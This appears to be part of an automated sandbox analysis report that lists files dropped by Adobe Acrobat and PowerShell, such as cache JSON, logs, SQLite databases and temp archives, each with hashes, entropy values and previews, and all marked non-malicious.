Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2895662509214905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJf+dPeUkwRe9:YvXKXFel1sOcPE3G28Ukee9
MD5:	61AC03764E8465CEC8FC64DB1D811C8E
SHA1:	1294F5A6C3A7C8B1A8D9D154F76BB72151919D83
SHA-256:	F523EAEF69B9A3BF1032776866494B4642EB6CE5403B56D74CD94F78806537BD
SHA-512:	111DD6A1EC919F69D118CE692365B2B7D40F0CF398922E4DA5CC7AB184F0CD072FC61CA76D1D0ABA66134CADC41C834F8DA6EF4488328B0D82A2AC76BA294471
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2861499792509905
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfbPtdPeUkwRe9:YvXKXFel1sOcPE3GDV8Ukee9
MD5:	03B619EB5A63AACB4C68D117F8FC9B88
SHA1:	D1A7B6F2AAF229487CBB20A80C940BB5D4C25FF2
SHA-256:	3637F11EBFC660C04E1E205FC8CD25DD3183BCFD549E4666A7F0810B345F6DD2
SHA-512:	296390809799E1E88272F583C08D1ED815852A7D1B7F49401DBE7F8FD55AEF42E05806AC06BBE284C29E002079EB74D29568D4A6F8D3DAA4C3CD72BFFE72BCF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.289253196048626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJf21rPeUkwRe9:YvXKXFel1sOcPE3G+16Ukee9
MD5:	6A096B3868795CE5560BACD03B1731ED
SHA1:	19F8B4B03AD6ABAC0AE440D3DFDFB3C4A52FC99D
SHA-256:	797E9C6A74D6DB0D4917E33C2A468F76B579AC4F8584EDCFD1A3A79A975B7C67
SHA-512:	EADB5757C6A62209C6DE6CE47EDEEE21099AE805E14625A97AA8B1C7CFB1A8381FEF6883394C3FBCA0A2982DFFF0AB989E94C8CC402C4572A700870E7E0AE0E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66857012572014
Encrypted:	false
SSDEEP:	24:Yv6XAl10PHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSG:YvMBgkDMUJUAh8cvMG
MD5:	3B8B01B3DC39B7D90E0B225E6207DB72
SHA1:	99CCDE6779F01A6AD3BC9145C0E3E5345504D446
SHA-256:	11E46B9CB3A3DEE0C1E620F9026B5C3143B7807CA8A8F09FE2A07547D3F27DAF
SHA-512:	99753FCE8EE63452041A6BA0B4ED633BEACE00704FD09816F30798C1A37F05435279CF7CD8D4D91211604F97C33EBC1BB742F13BBAAC9CC8253D2A9D7003D0CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2680500012277145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJfshHHrPeUkwRe9:YvXKXFel1sOcPE3GUUUkee9
MD5:	ABD6DD0F1310CDF977933CBAC87799C8
SHA1:	286802ECC9CC1D2B41E993FBCEDF84444CB23C08
SHA-256:	5E52F4CF61B8091DC4360780207FFC55F04DA955CC03E6F6C41596BB2923372D
SHA-512:	800491FFEAEF9D5EF2E96BED547A0A13054A06AB71B9449E5A2E06BC9C35DB0B2849AA74745357D9435074ACC257A7639FC09A6F8777F2882F801A5EA65F45E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27302192724223
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFS7lPdsOnZiQ0YqEFeoAvJTqgFCrPeUkwRe9:YvXKXFel1sOcPE3GTq16Ukee9
MD5:	F7F769D22F131954E31B048C0BE42284
SHA1:	78B1788756C389F713BD989772DD4C46ECFAB4E1
SHA-256:	C4AA03FABE4854163FF355A50569B1E15FBCCC44C0FC2FF791B25B173D9D0F36
SHA-512:	6F20F3657024F2302BD28C066ECB7908DB6F6D668B1547AC7A287A92685DA934F8D9DDA26472D87D0DEF095EFC7BF3AD515E82E4EC5C2404EC7D8E144268F21A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2d6ae1f1-2087-4f6f-8b86-627e1c87e4be","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736737254572,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142684315770242
Encrypted:	false
SSDEEP:	24:YtmKav1DayZ//440FJwy14KjE2j0Sy0r+K2Yb2LSsCoXhQHVaYW0VALp5YG9bVbu:Ytow47m3jBVb+r2VaYM9/9bBu
MD5:	370A5A76D92EA1800FD068793C331614
SHA1:	148156B3444C0C53C3DDA1E23DF2470C7B6F6893
SHA-256:	32A183E597D761A0A982A55C9C2D21C01A4976744D9BFC2A137816A467741228
SHA-512:	377CE79CF6F83091E10BC5C31C095C91D4D36DBE3EC77C9FC2844BA6B8CEB04AAA825CC819883AB237EED04A654AADBBD1E9260AD48B90256A4336DB9F1FB587
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"597cf3a79383a0e7656946b93854c1f2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557524000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"982093c775031e1372bda52171501439","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557524000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5a0dfb4cf17a5e6c6a183340f8956877","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557524000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"56722bfd0e8ac16e661fcdfc4450470f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557524000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"932ece9ed090e97caea7f81f9ed9dd6b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557524000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ccaaf5d06d90b80f6439553238a6b20a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1459072890398903
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursN3YbRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUuM:TFl2GL7mstY/Xc+XcGNFlRYIX2v3keYx
MD5:	0FC9034A6342022ECB282D1217EE2BFE
SHA1:	5EA892FC102E662500001925323E870D52EE51B4
SHA-256:	290DE6F4610D553F656FE6FF6087F0F3A9BC7F77E78F878CA329D3DF98034976
SHA-512:	BA0B4C29E363FB05BB4A8F5CDC3BC0166D4928E136B2070DABFC31D65E5BB0B104C8FD0B1687770D2D93EB9ECF4DD7C40F0DCB1419031DDA57573FF7E4657B4B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5523415292352363
Encrypted:	false
SSDEEP:	24:7+tu3YbUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxQqLxx/XV:7MIYoXc+XcGNFlRYIX2vBqVl2GL7msT
MD5:	C53C1A484B5A18A216D203FAD7357A1B
SHA1:	8833AAA642D1BBC00A4A5B84015401F5CB814FC2
SHA-256:	9821D11274583C065B77917A060706909704736F04CE1B7D94F2B9464F1DF8EB
SHA-512:	BF36900535D6D3C9407E76EEDF5DCD036CD12496680AABC00E6C0E2BF0E188B8BF74288F691F26287916900DD71F34A10D2098DB35466317BE43E643C90017A3
Malicious:	false
Preview:	.... .c........"..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg5F44r2yc9hh/u3mu0LHZAygufgYyu:6a6TZ44ADE5FCn9hhWWusfgK
MD5:	0DF8E367E5D1FF7A0CB69C0BF1C131C0
SHA1:	B2FAB1EF0D9D4E64E56B7B4F517929EF8B461070
SHA-256:	AF7CDEF626833BCA0E330A0A8765A5E72ED302CCDF048202B9ED7D3CE4E6E20E
SHA-512:	29F7C8881AB9FDD9FAF97466022401D4D589E3333417B850BC593354600A1152D4013EB189ECD5746464C78F711EBC489BD65FBC4249EB67F30A9FF62872D71D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa3020.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClIlN1ele:Qw946cPbiOxDlbYnuRK+bn1r
MD5:	8C0098333D5B6B70D97B6544FC948F38
SHA1:	947DAEEFC59A7BAF615F14864DBF14F38B1898B0
SHA-256:	784A558C8366F1ECA4551D88B34EFD006E4353E8BC997B44A7C72CA42978BA37
SHA-512:	E6E02EFE4446A6ED88580F1A653982A945775686F11C780C0A3DFEF1EB4363AC8BC4846F02AD1E2B8F77BD01599084A53DE860CA5A3D4BC6E4CDA0F0DB721574
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.5.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohljw50f.2wu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wy2tji0z.2bs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-05-18-678.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.342120514492625
Encrypted:	false
SSDEEP:	384:CXL+LLjkp/0kJN7IR7Qh9w2exPU+Me2cZOP1Ljlhl+a8C7YbTIPcxax0ZwyTVXV4:wxKF08wmE
MD5:	BAD4C388FFA561D8A6B401375FC16E95
SHA1:	BE000B69F6686AD053C8507A2292F4A77B8268AC
SHA-256:	77122ACA34937A170206E278D4475B4E4D99D4290384AD3E9D4C3F0F6469E48B
SHA-512:	03C09E0C87098016A512563D163D7C975F0E9B93199CD2AA9A8A2E3CF8012E99D65AF7866C54BE60FEE3828DF99678E969BFF54BDB94969D41059461763136CE
Malicious:	false
Preview:	SessionID=008ea3ad-f436-4548-a912-6de4e958c296.1736557518727 Timestamp=2025-01-10T20:05:18:727-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=008ea3ad-f436-4548-a912-6de4e958c296.1736557518727 Timestamp=2025-01-10T20:05:18:728-0500 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=008ea3ad-f436-4548-a912-6de4e958c296.1736557518727 Timestamp=2025-01-10T20:05:18:728-0500 ThreadID=7356 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=008ea3ad-f436-4548-a912-6de4e958c296.1736557518727 Timestamp=2025-01-10T20:05:18:728-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=008ea3ad-f436-4548-a912-6de4e958c296.1736557518727 Timestamp=2025-01-10T20:05:18:728-0500 ThreadID=7356 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392166499720287
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbfucbQIQAcbR:V3fOCIdJDeFRQ/
MD5:	D24B7660A8E537F3BFDC7ED9CBAE73EA
SHA1:	0E241B10A18504D80D3C1F43D2E90B2E3869754D
SHA-256:	186D1428D11AFB1B007BE1F83ACC15826873CDD87F08FDB4D03D97BDB1360A0A
SHA-512:	ECFEB00307AFD43C0B2DF20FF32B6A94908CF47E25BF218CE8526D991F9A2AE57AB9061CC91EAB59573AEA2D1B6882729A8367C7A0F9BF496AD818759F26835A
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\34c47e98-ea0b-4982-935d-2542a2e97153.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\8d71942e-d228-4f19-8009-ec00d7d09471.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
